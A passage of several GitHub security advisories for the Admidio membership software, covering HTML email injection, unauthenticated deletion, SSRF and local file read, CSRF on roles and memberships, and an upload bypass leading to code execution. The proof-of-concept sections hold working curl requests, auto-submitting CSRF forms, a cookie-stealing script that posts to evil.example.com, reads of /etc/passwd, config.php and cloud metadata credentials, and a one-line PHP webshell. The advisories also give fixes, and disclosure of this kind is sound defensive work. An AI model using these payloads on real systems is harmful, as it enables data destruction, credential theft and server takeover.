2. Database Storage: At line 214 of ecardsend.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.

Step 1: Send an eCard with injected HTML

curl -X POST "https://TARGET/admprogram/modules/photos/ecardsend.php" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "ecardtemplate=<validtemplate.tpl>" \ -d "photouuid=<validphotouuid>" \ -d "photonr=1" \ -d "ecardmessage=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \ -d "ecardrecipients[]=<targetuseruuid>"

The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.

Step 2: Escalated payload with script injection

curl -X POST "https://TARGET/admprogram/modules/photos/ecardsend.php" \ -H "Cookie: ADMIDIOSESSIONID=<session>" \ -d "admcsrftoken=<csrftoken>" \ -d "ecardtemplate=<validtemplate.tpl>" \ -d "photouuid=<validphotouuid>" \ -d "photonr=1" \ -d "ecardmessage=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \ -d "ecardrecipients[]=<targetuseruuid>"

Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

- Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate. - HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role. - Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio. - Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In ecardsend.php, use the sanitized $formValues['ecardmessage'] instead of the raw $POST['ecardmessage']:

php // Line 38: Remove this line // $postMessage = $POST['ecardmessage'];

// After line 61 (form validation), use the sanitized value: $formValues = $photosEcardSendForm->validate($POST); $postMessage = $formValues['ecardmessage'];

Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:

php // The message has already been sanitized by HTMLPurifier, // so it can safely contain allowed HTML tags $pregRepArray['/<%ecardmessage%>/'] = $ecardMessage;

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.05%
CSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Summary

The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folderdelete and filedelete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documentsfilesmoduleenabled = 1) and a folder is marked public (folpublic = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.

Details

Module Access Check

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76

The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:

php if ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 2 && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }

Vulnerable Code Path 1: Folder Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133

php case 'folderdelete': if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); // VIEW check only

$folder->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;

The target UUID is read exclusively from $GET at line 64:

php $getFolderUUID = admFuncVariableIsValid($GET, 'folderuuid', 'uuid', ...);

Vulnerable Code Path 2: File Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161

php case 'filedelete': if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $file = new File($gDb); $file->getFileForDownload($getFileUUID); // VIEW check only

$file->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;

Same pattern as folderdelete. The file UUID is also read from $GET (line 69).

getFolderForDownload Grants VIEW Access to Public Folders Without Login

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438

php // If the folder is public (and the file is not locked) => allow if ($this->getValue('folpublic') && !$this->getValue('follocked')) { return true; }

This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.

Contrast with Other Write Operations (Properly Protected)

All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($POST['admcsrftoken']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.

Folder::delete() Is Recursive and Permanent

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259

Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folderdelete on the root folder permanently destroys the entire document library.

UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)

File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589

The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.

PoC

Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)

Prerequisites: documentsfilesmoduleenabled = 1, target folder has folpublic = true.

Step 1: Discover folder UUIDs by fetching the public document list (no login needed):

curl "https://TARGET/admprogram/modules/documents-files.php?mode=list"

Step 2: Delete the entire folder tree permanently:

curl "https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<FOLDERUUID>"

Expected response: {"status":"success"}

The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.

Scenario 2: Authenticated view-only member deletes any accessible file

Prerequisites: documentsfilesmoduleenabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.

curl "https://TARGET/admprogram/modules/documents-files.php?mode=filedelete&fileuuid=<FILEUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<viewonlysession>"

Expected response: {"status":"success"}

Scenario 3: Cross-site GET CSRF via image tag

Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:

html <img src="https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<UUID>" width="1" height="1">

Impact

- Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required. - Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the hasUploadRight() permission boundary. - Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim. - No Recovery Path: Folder::delete() and File::delete() are permanent operations. The only recovery is from a database and filesystem backup. - Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.

Recommended Fix

Fix 1: Add authorization check and CSRF token validation to both delete handlers

php case 'folderdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $folder->delete(); echo jsonencode(array('status' => 'success')); break;

case 'filedelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $file = new File($gDb); $file->getFileForDownload($getFileUUID); $parentFolder = new Folder($gDb); $parentFolder->readDataById((int)$file->getValue('filfolid')); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $file->delete(); echo jsonencode(array('status' => 'success')); break;

Fix 2: Move folderuuid and fileuuid to POST parameters for delete operations

Reading the UUID from $GET enables GET-based CSRF. Moving to $POST and validating the CSRF token together closes both issues simultaneously.

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
EPSS
0.03%
SSRF, CSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary

The SSO metadata fetch endpoint at modules/sso/fetchmetadata.php accepts an arbitrary URL via $GET['url'], validates it only with PHP's FILTERVALIDATEURL, and passes it directly to filegetcontents(). FILTERVALIDATEURL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetchmetadata.php, lines 9-34

php $url = filtervar($GET['url'], FILTERVALIDATEURL); if (!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }

// Fetch metadata from external server $metadata = filegetcontents($url); if ($metadata === false) { httpresponsecode(500); echo "Failed to fetch metadata"; exit; }

echo $metadata;

FILTERVALIDATEURL Does Not Block Dangerous Schemes

PHP's FILTERVALIDATEURL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by filegetcontents():

| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |

Confirmed by testing PHP's filtervar() and filegetcontents() with all of the above:

php -r "vardump(filtervar('file:///etc/passwd', FILTERVALIDATEURL));" // string(18) "file:///etc/passwd" <-- passes validation

php -r "echo filegetcontents('file:///etc/passwd');" // root:x:0:0:root:/root:/bin/bash <-- file contents returned

file:// Does Not Require allowurlfopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allowurlfopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///var/www/html/admmyfiles/config.php"

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///etc/passwd"

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://127.0.0.1:6379/"

(Probes a Redis instance on localhost.)

Impact

- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files. - Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access. - Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible. - Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

php $rawUrl = $GET['url'] ?? '';

// Only allow https:// scheme if (\!pregmatch('#^https://#i', $rawUrl)) { httpresponsecode(400); echo "Only HTTPS URLs are permitted"; exit; }

$url = filtervar($rawUrl, FILTERVALIDATEURL); if (\!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }

// Resolve hostname and block internal/private IP ranges $host = parseurl($url, PHPURLHOST); $ip = gethostbyname($host); if (filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE) === false) { httpresponsecode(400); echo "URL resolves to a private or reserved IP address"; exit; }

$metadata = filegetcontents($url);

Fix 2: Use cURL with explicit scheme restriction

php $ch = curlinit($url); curlsetopt($ch, CURLOPTRETURNTRANSFER, true); curlsetopt($ch, CURLOPTPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTREDIRPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTFOLLOWLOCATION, false); curlsetopt($ch, CURLOPTTIMEOUT, 10); $metadata = curlexec($ch); curlclose($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

1 / 2
Source: GitHub
First published (updated )
Severity
5.7
EPSS
0.02%
CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Summary

The savemembership action in modules/profile/profilefunction.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stopmembership and removeformermembership against the CSRF token but omits savemembership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.

Details

CSRF Check Is Absent for savemembership

File: D:/bugcrowd/admidio/repo/modules/profile/profilefunction.php, lines 40-42

The CSRF guard covers only two of the three mutative modes:

php if (inarray($getMode, array('stopmembership', 'removeformermembership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); }

The savemembership mode is missing from this array. The handler then proceeds to read dates from $POST and update the database without any token verification:

php } elseif ($getMode === 'savemembership') { $postMembershipStart = admFuncVariableIsValid($POST, 'admmembershipstartdate', 'date', array('requireValue' => true)); $postMembershipEnd = admFuncVariableIsValid($POST, 'admmembershipenddate', 'date', array('requireValue' => true));

$member = new Membership($gDb); $member->readDataByUuid($getMemberUuid); $role = new Role($gDb, (int)$member->getValue('memrolid'));

// check if user has the right to edit this membership if (!$role->allowedToAssignMembers($gCurrentUser)) { throw new Exception('SYSNORIGHTS'); } // ... validates dates ... $role->setMembership($user->getValue('usrid'), $postMembershipStart, $postMembershipEnd, ...); echo 'success'; }

File: D:/bugcrowd/admidio/repo/modules/profile/profilefunction.php, lines 131-169

The Form Does Generate a CSRF Token (Not Validated)

File: D:/bugcrowd/admidio/repo/modules/profile/rolesfunctions.php, lines 218-241

The membership date form is created via FormPresenter, which automatically injects an admcsrftoken hidden field into every form. However, the server-side savemembership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.

Who Can Be Exploited as the CSRF Victim

File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121

The allowedToAssignMembers() check grants write access to: - Any user who is isAdministratorRoles() (role administrators), or - Any user who is a leader of the target role when the role has rolleaderrights set to ROLELEADERMEMBERSASSIGN or ROLELEADERMEMBERSASSIGNEDIT

Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.

UUIDs Are Discoverable from HTML Source

The save URL for the membership date form is embedded in the profile page HTML:

/admprogram/modules/profile/profilefunction.php?mode=savemembership&useruuid=<UUID>&memberuuid=<UUID>

Any authenticated member who can view a profile page can extract both UUIDs from the page source.

PoC

The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:

html <!DOCTYPE html> <html> <body onload="document.getElementById('csrfform').submit()"> <form id="csrfform" method="POST" action="https://TARGET/admprogram/modules/profile/profilefunction.php?mode=savemembership&useruuid=<VICTIMUSERUUID>&memberuuid=<MEMBERSHIPUUID>"> <input type="hidden" name="admmembershipstartdate" value="2000-01-01"> <input type="hidden" name="admmembershipenddate" value="2000-01-02"> </form> </body> </html>

Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).

Note: No admcsrftoken field is required because the server does not validate it for savemembership.

Impact

- Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation. - Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights. - Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated. - No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.

Recommended Fix

Fix 1: Add savemembership to the existing CSRF validation check

php // File: modules/profile/profilefunction.php, lines 40-42 if (inarray($getMode, array('stopmembership', 'removeformermembership', 'savemembership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']); }

Fix 2: Use the form-object validation pattern (consistent with other write endpoints)

php } elseif ($getMode === 'savemembership') { // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.) $membershipForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); $formValues = $membershipForm->validate($POST);

$postMembershipStart = $formValues['admmembershipstartdate']; $postMembershipEnd = $formValues['admmembershipenddate']; // ... rest of save logic unchanged }

1 / 2
Source: GitHub
First published (updated )
Severity
5.7
EPSS
0.01%
CSRF, SQL Injection
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Summary

The delete, activate, and deactivate modes in modules/groups-roles/groupsroles.php perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to callUrlHideElement(), which includes it in the POST body, but the server-side handlers ignore $POST["admcsrftoken"] entirely for these three modes. An attacker who can discover a role UUID (visible in the public cards view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the rolassignroles right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data.

Details

CSRF Token Is Sent but Never Validated

File: D:/bugcrowd/admidio/repo/modules/groups-roles/groupsroles.php, lines 150-173

The save mode (lines 143-148) is CSRF-protected via RolesService::save() which calls getFormObject($POST["admcsrftoken"])->validate(). The delete, activate, and deactivate modes receive no equivalent protection:

php case 'delete': // delete role from database $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo jsonencode(array('status' => 'success')); } break;

case 'activate': // set role active $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break;

case 'deactivate': // set role inactive $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break;

The only input validated is $getRoleUUID at line 41, checked as a 'uuid' type. This prevents SQL injection but provides no CSRF protection.

Client-Side UI Passes Token; Server Ignores It

File: D:/bugcrowd/admidio/repo/system/js/commonfunctions.js, lines 101-129

The presenter embeds the CSRF token into the JavaScript callUrlHideElement() call (GroupsRolesPresenter.php line 131). The function sends it in an AJAX POST body:

javascript function callUrlHideElement(elementId, url, csrfToken, callback) { $.post(url, { "admcsrftoken": csrfToken, // sent in POST body "uuid": elementId }, function(data) { ... }); }

The server-side handler reads mode from $GET but never reads or validates $POST["admcsrftoken"] for delete, activate, or deactivate. An attacker omits the token field entirely; the server does not check for its presence.

Who Can Be the CSRF Victim

File: D:/bugcrowd/admidio/repo/modules/groups-roles/groupsroles.php, lines 49-54

php if ($getMode !== 'cards') { // only users with the special right are allowed to manage roles if (!$gCurrentUser->isAdministratorRoles()) { throw new Exception('SYSNORIGHTS'); } }

isAdministratorRoles() maps to checkRolesRight('rolassignroles'). This is a delegated organizational right, not full system administrator (isAdministrator()) access. Any member granted the right to manage roles -- for example, a volunteer coordinator or chapter secretary -- is a valid CSRF victim.

Role UUIDs Are Discoverable Without Authentication

File: D:/bugcrowd/admidio/repo/src/UI/Presenter/GroupsRolesPresenter.php, line 84

php $templateRow['id'] = 'role' . $role->getValue('roluuid');

The cards mode (the default view) does not require the rolassignroles right and is publicly reachable when the module is enabled. Role UUIDs appear as HTML element IDs and in action data attributes in the page source. An unauthenticated visitor can collect all role UUIDs before staging the CSRF attack against a logged-in victim.

Role::delete() Is Permanent and Cascading

File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 264-288

php $this->db->startTransaction();

// Remove all role dependency relationships $sql = 'DELETE FROM ' . TBLROLEDEPENDENCIES . ' WHERE rldrolidparent = ? OR rldrolidchild = ?'; $this->db->queryPrepared($sql, array($rolId, $rolId));

// Remove all memberships $sql = 'DELETE FROM ' . TBLMEMBERS . ' WHERE memrolid = ?'; $this->db->queryPrepared($sql, array($rolId));

// Disassociate all events linked to this role $sql = 'UPDATE ' . TBLEVENTS . ' SET datrolid = NULL WHERE datrolid = ?'; $this->db->queryPrepared($sql, array($rolId));

// Remove all access-right entries for this role $sql = 'DELETE FROM ' . TBLROLESRIGHTSDATA . ' WHERE rrdrolid = ?'; $this->db->queryPrepared($sql, array($rolId));

There is no soft-delete or recycle bin. Deletion permanently removes the role record, all memberships within it, all role dependency rules, and all per-module access rights granted to the role.

PoC

The attacker hosts the following HTML page and tricks a user with the rolassignroles right into visiting it while logged in to Admidio.

Step 1: Collect role UUIDs from the public cards view (no login required)

curl "https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=cards"

Role UUIDs appear in the HTML source as element IDs (id="role<UUID>") and in action data attributes.

Step 2: Forge a deletion request (no CSRF token needed)

curl -X POST \\ "https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=delete&roleuuid=ROLEUUID" \\ -H "Cookie: ADMIDIOSESSIONID=victimsession" \\ -d ""

Expected response: {"status":"success"}

The role, all its memberships, all event associations, and all access-right entries are permanently deleted. No admcsrftoken field is required.

Step 3 (CSRF delivery -- attacker hosts externally)

html <!DOCTYPE html> <html> <body onload="document.getElementById('f').submit()"> <form id="f" method="POST" action="https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=delete&roleuuid=ROLEUUID"> <!-- No admcsrftoken field needed --> </form> </body> </html>

When any user with rolassignroles views this page while authenticated, the targeted role is permanently deleted without any confirmation from the victim.

Step 4 (Deactivate via CSRF -- disables a role without deleting it)

html <form id="f" method="POST" action="https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=deactivate&roleuuid=ROLEUUID"> </form>

Deactivating a role removes all active members from the role and hides it, effectively revoking access for all members without destroying the role record.

Impact

- Permanent Role Deletion: A CSRF-triggered delete request irrecoverably removes the targeted role and all associated memberships, event links, and permission grants. There is no undo path other than a database restore. - Mass Membership Revocation: Every member of the deleted role loses their membership record simultaneously. Role membership in Admidio controls access to events, document folders, mailing lists, and custom profile-field visibility. - Role State Manipulation: An attacker can force activate or deactivate on any role. Deactivation silently strips access from an entire group without deleting the role record. - Low Attack Surface Requirement: The attacker only needs to trick a user with the delegated rolassignroles right -- not a full system administrator. Such users are common in organizations that delegate group management to department heads or committee chairs. - UUID Pre-Collection Without Authentication: Role UUIDs are harvested from the public cards view before the CSRF attack is staged, making target selection trivial.

Recommended Fix

Add SecurityUtils::validateCsrfToken($POST["admcsrftoken"]) at the beginning of each vulnerable case, consistent with how other mutative actions in the codebase are protected.

php // File: modules/groups-roles/groupsroles.php

case 'delete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo jsonencode(array('status' => 'success')); } break;

case 'activate': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break;

case 'deactivate': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break;

Since callUrlHideElement already sends admcsrftoken in the POST body, adding the server-side validation call is a one-line fix per case and requires no changes to the front-end JavaScript or templates.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.03%
Malicious File Upload, CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

A critical unrestricted file upload vulnerability exists in the Documents & Files module of Admidio. Due to a design flaw in how CSRF token validation and file extension verification interact within UploadHandlerFile.php, an authenticated user with upload permissions can bypass file extension restrictions by intentionally submitting an invalid CSRF token. This allows the upload of arbitrary file types, including PHP scripts, which may lead to Remote Code Execution (RCE) on the server.

Details

1. Critical - Unrestricted File Upload leading to Remote Code Execution (RCE)

Root Cause Analysis:

The root cause lies in a design flaw in src/Infrastructure/Plugins/UploadHandlerFile.php. The UploadHandlerFile class overrides two methods from its parent UploadHandler class:

- handleformdata($file, $index) — Validates the CSRF token. On failure, it sets $file->error and returns. The request is not terminated. - handlefileupload(...) — Calls parent::handlefileupload() to physically write the file to disk, then checks if (!isset($file->error)) before running file extension validation (allowedFileExtension()).

The execution flow differs based on whether the CSRF token is valid:

- Valid CSRF token: handleformdata() does not set an error → extension check runs → invalid extension causes the uploaded file to be deleted from disk. - Invalid CSRF token: handleformdata() sets $file->error → the if (!isset($file->error)) guard in handlefileupload() causes the extension validation to be skipped entirely → the cleanup code (FileSystemUtils::deleteFileIfExists()) is never reached → the file, already written to disk by the parent class, remains on the server and is directly accessible.

In summary, the file is always saved to disk by the parent class first. The extension check and cleanup only execute when no prior error exists. A deliberate CSRF token failure bypasses the extension filter while the file remains on disk.

Affected code (src/Infrastructure/Plugins/UploadHandlerFile.php):

php // File is physically saved to disk here, before any Admidio-specific checks $file = parent::handlefileupload($uploadedfile, $name, $size, $type, $error, $index, $contentrange);

if (!isset($file->error)) { // Extension validation is only reached when no prior error is set. // If CSRF validation failed in handleformdata(), this block is skipped // and the uploaded file is never cleaned up from disk. if (!$newFile->allowedFileExtension()) { throw new Exception('SYSFILEEXTENSIONINVALID'); } }

PoC

Documents & Files Create folder <img width="762" height="729" alt="image" src="https://github.com/user-attachments/assets/2c927482-851b-4945-93d6-6e7a1e3bc21f" />

<img width="749" height="690" alt="image" src="https://github.com/user-attachments/assets/72443c87-e15f-4312-9659-8cd0661a4dae" />

File Upload Try 1-1 (before request) <img width="1856" height="635" alt="image" src="https://github.com/user-attachments/assets/d1ffaa12-aec1-45ff-a612-885d9554fb60" />

File Upload Try 1-2 (after request) <img width="1850" height="855" alt="image" src="https://github.com/user-attachments/assets/4ece4aac-1255-4189-9048-45ff3df4abcf" />

File Upload Try 1-3 (After changing CSRF to a test value, request → PHP file upload succeeds) <img width="1847" height="928" alt="image" src="https://github.com/user-attachments/assets/63f9d108-5e4f-4d32-96d2-09f9ad910873" />

✅ rcepoc.php Upload Success! <img width="926" height="814" alt="image" src="https://github.com/user-attachments/assets/4de99c31-dc3c-44f2-9936-19c3da0dfffb" />

Access the rcepoc upload path confirmed in the response and check the web shell. <img width="1635" height="922" alt="image" src="https://github.com/user-attachments/assets/0b770caf-e737-4cbd-97b9-ae191a8b79f5" />

🆗 WebShell Success <img width="685" height="187" alt="image" src="https://github.com/user-attachments/assets/e90f162b-7949-41c4-9fd1-aad3b6365adf" />

<img width="794" height="209" alt="image" src="https://github.com/user-attachments/assets/f45dae74-a830-4761-af31-f2ac28eb2586" />

Steps to Reproduce:

1. Log in to Admidio as an authenticated user with upload permissions on the Documents & Files module. 2. Navigate to a folder in the Documents & Files module and open the file upload dialog. 3. Intercept the upload POST request to /system/fileupload.php?module=documentsfiles&mode=uploadfiles&uuid=<folderuuid> using a proxy tool such as Burp Suite. 4. Replace the value of the admcsrftoken field with an arbitrary invalid string (e.g., webshellgogo). 5. Set the file to be uploaded to a PHP webshell (e.g., <?php system($GET[1]); ?>). 6. Forward the modified request. 7. Observe that the server responds with HTTP 200 OK. The JSON body contains "error":"Invalid or missing CSRF token!", yet the file is physically present on the server at the path indicated in the url field. 8. Access the uploaded PHP file directly via the URL provided in the response — arbitrary command execution is confirmed.

Impact

- An authenticated attacker with upload permissions can bypass file extension validation and upload arbitrary server-side scripts such as PHP webshells. - This leads to Remote Code Execution (RCE), potentially resulting in full server compromise, sensitive data exfiltration, and lateral movement. - While authentication is required, the attack is not limited to administrators — any member granted upload rights may exploit this vulnerability, making the attack surface broader than it may initially appear.

Remediation Measures

- The extension validation logic should be executed independently of the CSRF error state. It is recommended to move the extension check and the corresponding cleanup outside of the if (!isset($file->error)) block so that files with disallowed extensions are always removed from disk, regardless of other errors. - Rather than relying on a blacklist of dangerous extensions (e.g., .php, .phar, .phtml), it is strongly recommended to implement a whitelist of permitted extensions appropriate to a documents module (e.g., .pdf, .docx, .xlsx, .pptx, .txt). - CSRF token validation should either be performed before the file is written to disk, or a validation failure should result in immediate request termination rather than merely setting an error flag on the file object.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.01%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vulnerability

In modules/events/eventsfunction.php, the event participation logic allows any user who can participate in an event to register OTHER users by manipulating the useruuid GET parameter.

